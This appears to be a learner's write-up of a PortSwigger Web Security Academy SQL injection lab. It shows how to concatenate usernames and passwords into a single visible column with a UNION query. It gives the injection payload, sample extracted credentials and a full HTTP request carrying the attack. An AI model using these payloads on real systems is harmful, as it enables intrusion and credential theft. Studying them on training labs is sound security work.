> For the complete documentation index, see [llms.txt](https://simon-6.gitbook.io/simoncyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://simon-6.gitbook.io/simoncyber/portswigger-web-academy/sql-injection/lab-5.md).
# Lab 5
**The problem it solves:**
Say your UNION gives you 2 columns but only column 1 renders on the page (column 2 is invisible). You can't do:
```sql
UNION SELECT username, password FROM users--
```
because `password` would be in the hidden column.
**The solution — concatenate into one column:**
```sql
UNION SELECT username || '~' || password FROM users--
```
This squashes both values into a single string, output in the one visible column:
```
administrator~s3cure
wiener~peter
```
The `~` is just a delimiter so you can split them apart. Could be anything (`:`、`|`, etc.) as long as it won't appear in the actual data.
{% hint style="info" %}
SQL `SELECT` doesn't just fetch column names — it can return **any expression**, including computed strings. This is saying: *for each row, take the username value, glue `~` to it, glue the password to it, and return that as the output.*
{% endhint %}
```
GET /filter?category=Tech+gifts'+UNION+SELECT+NULL,username||'~'||password+FROM+users-- HTTP/2
```